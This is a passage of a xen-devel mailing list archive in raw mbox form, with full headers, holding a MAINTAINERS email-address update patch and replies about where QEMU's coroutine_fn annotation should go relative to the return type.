>>> block/nvme.c:1351:static coroutine_fn int nvme_co_flush(BlockDriverState
>>> *bs)
>>> block/ssh.c:1223:static coroutine_fn int ssh_flush(BDRVSSHState *s,
>>> BlockDriverState *bs)
>>> nbd/server.c:3077:static coroutine_fn void nbd_trip(void *opaque)
>>> block/block-copy.c:581:static coroutine_fn int
>>> block_copy_task_entry(AioTask *task)
>>> ...
>>>
>>>>
>>>>> In both cases you could then
>>>>> add it to its own, separate line, avoiding a lot of noise.
>>>>>
>>>>> /Christian
>>>>>
>>>>>
>>>>>
>>>>>
>>>>
>>>>
>>>
> 
> 



From xen-devel-bounces@lists.xenproject.org Tue Jul 21 08:37:45 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 08:37:45 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367590.1617339 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm5yo-00078v-T2; Tue, 21 Jul 2026 08:37:34 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367590.1617339; Tue, 21 Jul 2026 08:37:34 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm5yo-00078o-Og; Tue, 21 Jul 2026 08:37:34 +0000
Received: by outflank-mailman (input) for mailman id 1367590;
 Tue, 21 Jul 2026 08:19:34 +0000
Received: from mail.xenproject.org ([104.130.215.37])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <roger@xenproject.org>) id 1wm5hO-0008Ck-Cq
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 08:19:34 +0000
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wm5hN-000YXD-1Y;
 Tue, 21 Jul 2026 08:19:33 +0000
Received: from 224.pool85-54-217.dynamic.orange.es ([85.54.217.224]
 helo=localhost) by xenbits.xenproject.org with esmtpsa (TLS1.3) tls
 TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384 (Exim 4.96)
 (envelope-from <roger@xenproject.org>) id 1wm5hM-00CrZp-2a;
 Tue, 21 Jul 2026 08:19:33 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=xenproject.org; s=20200302mail; h=Content-Transfer-Encoding:Content-Type:
	MIME-Version:Message-ID:Date:Subject:Cc:To:From;
	bh=lTiMeJE4FFyToHGTBnTZ7CYnYnhxfkXANLK5W26DCuk=; b=4clH3avqPbKqlrfnUWxg146Ofz
	PApE13RliiGDnF6dcrEl/p946Pf1uhvsbuqYWC7/7zuoTRMnPySG9H4IKfDwvWajQ9aiRKRU8cP1k
	2lVV5e4zdpxdPB3wpOq7ywpjN+9c+7H9UWkul+2Z5H/R0/gIQra490O9ED2yAgmRv8LU=;
From: Roger Pau Monne <roger@xenproject.org>
To: xen-devel@lists.xenproject.org
Cc: Roger Pau Monne <roger@xenproject.org>,
	Andrew Cooper <andrew.cooper3@citrix.com>,
	Anthony PERARD <anthony.perard@vates.tech>,
	Michal Orzel <michal.orzel@amd.com>,
	Jan Beulich <jbeulich@suse.com>,
	Julien Grall <julien@xen.org>,
	Stefano Stabellini <sstabellini@kernel.org>
Subject: [PATCH] MAINTAINERS: update my email address
Date: Tue, 21 Jul 2026 10:19:06 +0200
Message-ID: <20260721081906.80803-1-roger@xenproject.org>
X-Mailer: git-send-email 2.53.0
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

Signed-off-by: Roger Pau MonnÃ© <roger@xenproject.org>
---
 MAINTAINERS | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/MAINTAINERS b/MAINTAINERS
index d37adf18ab0c..6bb066211603 100644
--- a/MAINTAINERS
+++ b/MAINTAINERS
@@ -223,7 +223,7 @@ F:	tools/libacpi/
 AMD IOMMU
 M:	Jan Beulich <jbeulich@suse.com>
 M:	Andrew Cooper <andrew.cooper3@citrix.com>
-M:	Roger Pau MonnÃ© <roger.pau@citrix.com>
+M:	Roger Pau MonnÃ© <roger@xenproject.org>
 R:	Jason Andryuk <jason.andryuk@amd.com>
 R:	Teddy Astie <teddy.astie@vates.tech>
 S:	Supported
@@ -232,7 +232,7 @@ F:	xen/drivers/passthrough/amd/
 AMD SVM
 M:	Jan Beulich <jbeulich@suse.com>
 M:	Andrew Cooper <andrew.cooper3@citrix.com>
-M:	Roger Pau MonnÃ© <roger.pau@citrix.com>
+M:	Roger Pau MonnÃ© <roger@xenproject.org>
 R:	Jason Andryuk <jason.andryuk@amd.com>
 R:	Teddy Astie <teddy.astie@vates.tech>
 S:	Supported
@@ -379,7 +379,7 @@ F:	xen/arch/x86/tboot.c
 
 IOMMU VENDOR INDEPENDENT CODE
 M:	Jan Beulich <jbeulich@suse.com>
-R:	Roger Pau MonnÃ© <roger.pau@citrix.com>
+R:	Roger Pau MonnÃ© <roger@xenproject.com>
 S:	Supported
 F:	xen/drivers/passthrough/
 X:	xen/drivers/passthrough/amd/
@@ -426,7 +426,7 @@ F:	tools/include/xentoollog.h
 F:	tools/libs/
 
 LIVEPATCH
-M:	Roger Pau MonnÃ© <roger.pau@citrix.com>
+M:	Roger Pau MonnÃ© <roger@xenproject.org>
 M:	Ross Lagerwall <ross.lagerwall@citrix.com>
 S:	Supported
 F:	docs/misc/livepatch.pandoc
@@ -589,7 +589,7 @@ F:	xen/include/*/monitor.h
 F:	xen/include/*/vm_event.h
 
 VPCI
-M:	Roger Pau MonnÃ© <roger.pau@citrix.com>
+M:	Roger Pau MonnÃ© <roger@xenproject.org>
 R:	Stewart Hildebrand <stewart.hildebrand@amd.com>
 S:	Supported
 F:	tools/tests/vpci/
@@ -609,7 +609,7 @@ F:	docs/misc/vtpm-platforms.txt
 X86 ARCHITECTURE
 M:	Jan Beulich <jbeulich@suse.com>
 M:	Andrew Cooper <andrew.cooper3@citrix.com>
-M:	Roger Pau MonnÃ© <roger.pau@citrix.com>
+M:	Roger Pau MonnÃ© <roger@xenproject.org>
 R:	Teddy Astie <teddy.astie@vates.tech>
 S:	Supported
 L:	xen-devel@lists.xenproject.org
@@ -694,7 +694,7 @@ M:	Anthony PERARD <anthony.perard@vates.tech>
 M:	Michal Orzel <michal.orzel@amd.com>
 M:	Jan Beulich <jbeulich@suse.com>
 M:	Julien Grall <julien@xen.org>
-M:	Roger Pau MonnÃ© <roger.pau@citrix.com>
+M:	Roger Pau MonnÃ© <roger@xenproject.org>
 M:	Stefano Stabellini <sstabellini@kernel.org>
 L:	xen-devel@lists.xenproject.org
 S:	Supported
-- 
2.53.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 21 08:37:57 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 08:37:57 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367617.1617346 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm5zB-0007W1-3U; Tue, 21 Jul 2026 08:37:57 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367617.1617346; Tue, 21 Jul 2026 08:37:57 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm5zB-0007Vu-0c; Tue, 21 Jul 2026 08:37:57 +0000
Received: by outflank-mailman (input) for mailman id 1367617;
 Tue, 21 Jul 2026 08:37:56 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <qemu_oss@crudebyte.com>) id 1wm5zA-0007Vh-IQ
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 08:37:56 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm5z9-008xI3-VG
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 10:37:55 +0200
Received: from [10.42.69.9] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <qemu_oss@crudebyte.com>)
 id 6a5f2fdc-2eae-0a2a0a5409dd-0a2a4509dbe2-26
 for <multiple-recipients>; Tue, 21 Jul 2026 10:37:55 +0200
Received: from [5.189.157.229] (helo=kylie.crudebyte.com)
 by tlsNG-bad1c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <qemu_oss@crudebyte.com>)
 id 6a5f2fe3-be1a-0a2a45090019-05bd9de5d7c7-3
 for <multiple-recipients>; Tue, 21 Jul 2026 10:37:55 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=kylie header.d=crudebyte.com header.i="@crudebyte.com" header.h="Content-Type:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=crudebyte.com; s=kylie; h=Content-Type:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From:
	Content-ID:Content-Description;
	bh=xsiuMtkyvpeTAe9qRj+jiYyJl+i3WSpIPBOaH7CGOv0=; b=iFDyzzP7066gXj9h+Jgg/UenSL
	dVweXKjd0q6HclwRHAKA7c1Fnizh1PzEMdjwep+hbepA1iaG4V2kK++GJHpx6ea6Xl+YTrcMvHQQd
	jCMjt1FduAKdGZKVY48ceRaiPmbeIyZj8+ArG7gzzLUQjYGNhSamPs2WwPO96HkkjOyg0BKTNHFVZ
	zqWLpQT3og38tuJU+fKemXApIURQFoJamtJlNJzJbhCWG03OFlOxynNaH/kQHsPXhIDHT7n5XKAhU
	NW9LDijJq65qXg4etCs3ydNCoXLCejryjDtAg/xHLadW35eBoUACq7qbPpFQfSjDKAXx7PLS/+KGG
	gZ7l62z/G3SDHMubq3hDSfqMxgWxb+syS7dcyfdCXkhc9u16TBWA134cO9AKdZ6WQBDfF2BMPhiK+
	uYpjghSO7TRmhuuVpPtMXIlosrlm8EHQiYNp2TGwgkVdTycEAzhcXWpMQEtus6C1v1f17YULnKWoB
	2ePc0MtTp+kFjj/jU5RxO6aJ1Wo11zmCpoODi8p1gNO3Z6NLri4OxYCmOwaC22zmE0vCopEhcMnJq
	L9FJ8fI37pRBY099WWj+FV/b//3DPq6Cs5zcl0Q9m7aXB+amJxm4ZQKNdKrmKsODpn7Sgn0eh2uUu
	6+prLeedqUAmk3guL221Y6L+C+WuseLVFQjlhlpqI=;
From: Christian Schoenebeck <qemu_oss@crudebyte.com>
To: =?UTF-8?B?TWFyYy1BbmRyw6k=?= Lureau <marcandre.lureau@redhat.com>,
 qemu-devel@nongnu.org,
 Philippe =?UTF-8?B?TWF0aGlldS1EYXVkw6k=?= <philmd@oss.qualcomm.com>
Cc: Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>,
 Fabiano Rosas <farosas@suse.de>,
 Daniel =?UTF-8?B?UC4gQmVycmFuZ8Op?= <berrange@redhat.com>,
 John Snow <jsnow@redhat.com>,
 Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>,
 Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>,
 qemu-block@nongnu.org, Stefan Hajnoczi <stefanha@redhat.com>,
 Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>,
 Greg Kurz <groug@kaod.org>, "Michael S. Tsirkin" <mst@redhat.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Anthony PERARD <anthony@xenproject.org>,
 "Edgar E. Iglesias" <edgar.iglesias@gmail.com>,
 xen-devel@lists.xenproject.org, Li Zhijian <lizhijian@fujitsu.com>
Subject:
 Re: [PATCH 7/8] hw/9pfs: annotate V9fsTransport callbacks as coroutine_fn
Date: Tue, 21 Jul 2026 10:37:39 +0200
Message-ID: <6287083.lOV4Wx5bFT@weasel>
In-Reply-To: <af19f823-234c-462d-8c52-4d8cf4b93c4c@oss.qualcomm.com>
References:
 <20260720-co-v1-0-fabb4db3c204@redhat.com>
 <CAMxuvaySONs4r=1Bmsao1f1cZdviGGwPVM8+1Q+1vdY0X-pYVw@mail.gmail.com>
 <af19f823-234c-462d-8c52-4d8cf4b93c4c@oss.qualcomm.com>
MIME-Version: 1.0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="utf-8"
X-purgate-ID: tlsNG-bad1c0/1784623075-BE0C5034-6357F3BF/0/0
X-purgate-type: clean
X-purgate-size: 951

On Tuesday, 21 July 2026 10:25:34 CEST Philippe Mathieu-Daud=C3=A9 wrote:
> On 21/7/26 10:06, Marc-Andr=C3=83=C2=A9 Lureau wrote:
> > Hi
> >=20
> > On Tue, Jul 21, 2026 at 11:58=E2=80=AFAM Marc-Andr=C3=A9 Lureau
> >=20
> > <marcandre.lureau@redhat.com> wrote:
[...]
> >> most of them are "return-type co_annotation fn(..)"
> >> we even have scripts/block-coroutine-wrapper.py that relies and
> >> produce this order..
> >> a bit late to change the style imho...
> >>=20
> >> At least, let's not make this a requirement for this series, please
>=20
> Not a requirement on my side, but if we had to pick a style,
> I'd vote for "attribute before return type".

Yep, because that's a) the most compiler-friendly option (all compilers all=
ow=20
it, including MSC) and b) it's the most diff-noise friendly solution (can b=
e=20
prepended on its own line without touching any of the existing line(s) at=20
all).

/Christian





From xen-devel-bounces@lists.xenproject.org Tue Jul 21 08:40:13 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 08:40:13 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367629.1617356 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm61M-0001E7-F2; Tue, 21 Jul 2026 08:40:12 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367629.1617356; Tue, 21 Jul 2026 08:40:12 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm61M-0001Cw-Bp; Tue, 21 Jul 2026 08:40:12 +0000
Received: by outflank-mailman (input) for mailman id 1367629;
 Tue, 21 Jul 2026 08:40:11 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <mlureau@redhat.com>) id 1wm61L-0001Cp-EL
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 08:40:11 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm61K-00BtTe-RO
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 10:40:10 +0200
Received: from [10.42.69.6] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <mlureau@redhat.com>)
 id 6a5f3053-e002-0a2a0a5209dd-0a2a4506acc6-46
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 10:40:10 +0200
Received: from [170.10.133.124] (helo=us-smtp-delivery-124.mimecast.com)
 by tlsNG-16d1c6.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <mlureau@redhat.com>)
 id 6a5f3069-195a-0a2a45060019-aa0a857c5399-3
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 10:40:10 +0200
Received: from mail-pg1-f200.google.com (mail-pg1-f200.google.com
 [209.85.215.200]) by relay.mimecast.com with ESMTP with STARTTLS
 (version=TLSv1.3, cipher=TLS_AES_256_GCM_SHA384) id
 us-mta-596-oQFOBqYYMiOmCNOz--1iMQ-1; Tue, 21 Jul 2026 04:40:05 -0400
Received: by mail-pg1-f200.google.com with SMTP id
 41be03b00d2f7-cb48f41343aso3410278a12.1
 for <xen-devel@lists.xenproject.org>; Tue, 21 Jul 2026 01:40:05 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=mimecast20190719 header.d=redhat.com header.i="@redhat.com" header.h="From:Subject:Date:Message-ID:To:Cc:MIME-Version:Content-Type:Content-Transfer-Encoding:In-Reply-To:References"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=redhat.com;
	s=mimecast20190719; t=1784623209;
	h=from:from:reply-to:subject:subject:date:date:message-id:message-id:
	 to:to:cc:cc:mime-version:mime-version:content-type:content-type:
	 content-transfer-encoding:content-transfer-encoding:
	 in-reply-to:in-reply-to:references:references;
	bh=1+3mmICKSXr7PfAtflwEbwDlN/hD/1oxnaHEUk7fiek=;
	b=HAGLBccalIdOqRCDLTPK1SNlgLGgttZLHeBnDseGUfExy/k/ocelYf8yb9a9gqBQN7DfVc
	oUatACh2jni3FIpa4uPgYIbDM3ob0yMQVWWKFbhwiA0zAI+WvhZ1sXl4f4REUEDo6aMaFT
	6UJuaROlg7fSCM2JCr8mR7dnLa6ESLo=
X-MC-Unique: oQFOBqYYMiOmCNOz--1iMQ-1
X-Mimecast-MFC-AGG-ID: oQFOBqYYMiOmCNOz--1iMQ_1784623205
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1784623205; x=1785228005;
        h=content-transfer-encoding:content-type:cc:to:subject:message-id
         :date:from:in-reply-to:references:mime-version:x-gm-gg
         :x-gm-message-state:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=1+3mmICKSXr7PfAtflwEbwDlN/hD/1oxnaHEUk7fiek=;
        b=klE2XB4CIdZasOyxGY2GSXu0PDBZOUXeaBQvP8UHYe8EnYWeP1pkgnE3rv85ML6p0W
         UhDEsHO7CBqHFUisqPr4w1HOGmSygJjmTri+ByfnBlFZObpUJu8gmiO+FtnjdoExA7jj
         3fJ0/FR/nPzN2QblklRlW2hWVn9rPayytL7B/tgRGBOA7f1RMbFyxHTWUPqlAQeq2aJQ
         iHB+x7hecPnjgaVEJOX2MLZuul3+ha5Pv3inK5+vz8Ax+fRUFKpWL/GY3Z8X5JkozG6A
         Di3cm1jmV8POYKwkOmUUS2Hlnfd+2MfQfVKCbo+fIdTA0QCxtpu5QP6XOe2JdWEtispc
         usGw==
X-Forwarded-Encrypted: i=1; AHgh+RopTvNk+NWZjcdIpKX+om+EQm2m0NaO2CiMVdLGSIcg0efM/zxEop6kTubCTeSkUEhYjk+b+wmBNf4=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yy33sccHF6yYuwyGtb5MYvLW54MPZCi8D8cBF9FtQn37azQY1by
	YhsrKAm1ts7ooRmzIK+UcUp2NOi0amg8XzgYyg4ZtKNdnFStt1+rTXs/b35Fj3vD2Dh13JHkJKY
	kNWxtBBAy9ylQocyrDrsH6dOLkjX/C8tPA4U124Vg32T3FOXeeZ5cw3bX1f2f7vzV0/u6qRH7Z3
	kp9U5RYz1uN0LgswUeyjz+61IBuBdJ8TewKKlaFQiKaoo=
X-Gm-Gg: AfdE7cnfeY2Ad5EjL+ENoxLTPbIYWyFqb9OoFoFuvS933j7Wk/Cjao1nXYv7Ad0Bm0u
	PbqUyJDjKV+dt8Ohx9FK6AJdTAg8U+3mVBKmfhjVNKnA+y+1THbuWlzs1a4yTclZwMJjftPmBlq
	wB3l0GDSaj+fXaQXcwjIUSJwSwDsAKoLcEMqYYP4dro7TMWHs3oP6ZIaA2JZlyLxcfKPGnhG3Up
	Un4disZbybREApVXn+qRFNZCsgLHSkYxV71EDIMNyPOplnfMrM8gISOZqBLd1zFysI7NEW/K7oB
	uA==
X-Received: by 2002:a05:6a21:3e02:b0:3c3:d92b:29be with SMTP id adf61e73a8af0-3c3d92b29dfmr8974196637.25.1784623204617;
        Tue, 21 Jul 2026 01:40:04 -0700 (PDT)
X-Received: by 2002:a05:6a21:3e02:b0:3c3:d92b:29be with SMTP id
 adf61e73a8af0-3c3d92b29dfmr8974154637.25.1784623204145; Tue, 21 Jul 2026
 01:40:04 -0700 (PDT)
MIME-Version: 1.0
References: <20260720-co-v1-0-fabb4db3c204@redhat.com> <CAMxuvaySONs4r=1Bmsao1f1cZdviGGwPVM8+1Q+1vdY0X-pYVw@mail.gmail.com>
 <af19f823-234c-462d-8c52-4d8cf4b93c4c@oss.qualcomm.com> <6287083.lOV4Wx5bFT@weasel>
In-Reply-To: <6287083.lOV4Wx5bFT@weasel>
From: =?UTF-8?B?TWFyYy1BbmRyw6kgTHVyZWF1?= <marcandre.lureau@redhat.com>
Date: Tue, 21 Jul 2026 12:39:52 +0400
X-Gm-Features: AUfX_mxRdL-DqzkjpYIAmbj-FBmtHJVc5VSImiqMsANjDJqpsxKJSZx6GWIMBMY
Message-ID: <CAMxuvay01r=EchTO=PocqPtdtZtxcJs+AJZExRA8rBao31mH7w@mail.gmail.com>
Subject: Re: [PATCH 7/8] hw/9pfs: annotate V9fsTransport callbacks as coroutine_fn
To: Christian Schoenebeck <qemu_oss@crudebyte.com>
Cc: qemu-devel@nongnu.org, =?UTF-8?Q?Philippe_Mathieu=2DDaud=C3=A9?= <philmd@oss.qualcomm.com>, 
	Markus Armbruster <armbru@redhat.com>, Peter Xu <peterx@redhat.com>, Fabiano Rosas <farosas@suse.de>, 
	=?UTF-8?Q?Daniel_P=2E_Berrang=C3=A9?= <berrange@redhat.com>, 
	John Snow <jsnow@redhat.com>, Vladimir Sementsov-Ogievskiy <vsementsov@yandex-team.ru>, 
	Kevin Wolf <kwolf@redhat.com>, Hanna Reitz <hreitz@redhat.com>, qemu-block@nongnu.org, 
	Stefan Hajnoczi <stefanha@redhat.com>, Fam Zheng <fam@euphon.net>, "Denis V. Lunev" <den@openvz.org>, 
	Greg Kurz <groug@kaod.org>, "Michael S. Tsirkin" <mst@redhat.com>, 
	Stefano Stabellini <sstabellini@kernel.org>, Anthony PERARD <anthony@xenproject.org>, 
	"Edgar E. Iglesias" <edgar.iglesias@gmail.com>, xen-devel@lists.xenproject.org, 
	Li Zhijian <lizhijian@fujitsu.com>
X-Mimecast-Spam-Score: 0
X-Mimecast-MFC-PROC-ID: mNVAMIqh01VoyxJ7My4DaPzMVq_n90b2aVc1W-hpb1E_1784623205
X-Mimecast-Originator: redhat.com
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: quoted-printable
X-purgate-ID: tlsNG-16d1c6/1784623210-F647377B-8E6AD27C/0/0
X-purgate-type: clean
X-purgate-size: 1201

Hi

On Tue, Jul 21, 2026 at 12:38=E2=80=AFPM Christian Schoenebeck
<qemu_oss@crudebyte.com> wrote:
>
> On Tuesday, 21 July 2026 10:25:34 CEST Philippe Mathieu-Daud=C3=A9 wrote:
> > On 21/7/26 10:06, Marc-Andr=C3=83=C2=A9 Lureau wrote:
> > > Hi
> > >
> > > On Tue, Jul 21, 2026 at 11:58=E2=80=AFAM Marc-Andr=C3=A9 Lureau
> > >
> > > <marcandre.lureau@redhat.com> wrote:
> [...]
> > >> most of them are "return-type co_annotation fn(..)"
> > >> we even have scripts/block-coroutine-wrapper.py that relies and
> > >> produce this order..
> > >> a bit late to change the style imho...
> > >>
> > >> At least, let's not make this a requirement for this series, please
> >
> > Not a requirement on my side, but if we had to pick a style,
> > I'd vote for "attribute before return type".
>
> Yep, because that's a) the most compiler-friendly option (all compilers a=
llow
> it, including MSC) and b) it's the most diff-noise friendly solution (can=
 be
> prepended on its own line without touching any of the existing line(s) at
> all).
>

ok, what should I do? Send a preliminary patch to fix all annotation
positions? or just change the position in this patch or series?



From xen-devel-bounces@lists.xenproject.org Tue Jul 21 08:51:24 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 21 Jul 2026 08:51:24 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1367642.1617365 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm6Bw-0005ct-FE; Tue, 21 Jul 2026 08:51:08 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1367642.1617365; Tue, 21 Jul 2026 08:51:08 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wm6Bw-0005cm-CD; Tue, 21 Jul 2026 08:51:08 +0000
Received: by outflank-mailman (input) for mailman id 1367642;
 Tue, 21 Jul 2026 08:51:06 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <qemu_oss@crudebyte.com>) id 1wm6Bu-0005cg-NC
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 08:51:06 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wm6Bt-008zRe-Kw
 for xen-devel@lists.xenproject.org; Tue, 21 Jul 2026 10:51:05 +0200
Received: from [10.42.69.8] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <qemu_oss@crudebyte.com>)
 id 6a5f32ea-5cb7-0a2a0a5109dd-0a2a450897f0-40
 for <multiple-recipients>; Tue, 21 Jul 2026 10:51:05 +0200
Received: from [5.189.157.229] (helo=kylie.crudebyte.com)
 by tlsNG-c1860d.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <qemu_oss@crudebyte.com>)
 id 6a5f32f8-f659-0a2a45080019-05bd9de5b62d-3
 for <multiple-recipients>; Tue, 21 Jul 2026 10:51:05 +0200
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=kylie header.d=crudebyte.com header.i="@crudebyte.com" header.h="Content-Type:Content-Transfer-Encoding:MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From"
DKIM-Signature: v=1; a=rsa-sha256; q=dns/txt; c=relaxed/relaxed;
	d=crudebyte.com; s=kylie; h=Content-Type:Content-Transfer-Encoding:
	MIME-Version:References:In-Reply-To:Message-ID:Date:Subject:Cc:To:From:
	Content-ID:Content-Description;
	bh=RjimWnqmHsNVDASdqxBR6CDlPbi3iLgTQoVIt7skhHg=; b=PM8Q9kJ50RgUnZhenHWgJSroUh
	9d24X9ALnyODosKeawNs8M6RHGbxAkDzATbRverUFQYS7kN5i0/YEvE7riyVXuhByoCzNpmR2F+uf
	RjnvN2dr9hCERsctmaCk4YtCDhRDCobIHQfCt5IbJinWlRblSfkbdP3vauJxybxrdkmb6BjPVIPq6
	Y3dPvXSo7YoNHggKhg11q2VbfDI9nX6GlxuRl+bgvsiQUUrwdU3QZoHKceWE0OR4wmg24OQJR978y
	H0S1KbsDzUINWYfyXe/JdwBDJMagAgsKONq5NzYXK0/aVx7upfaugcoPIf8Uy88cgbHTM+siOVFOB
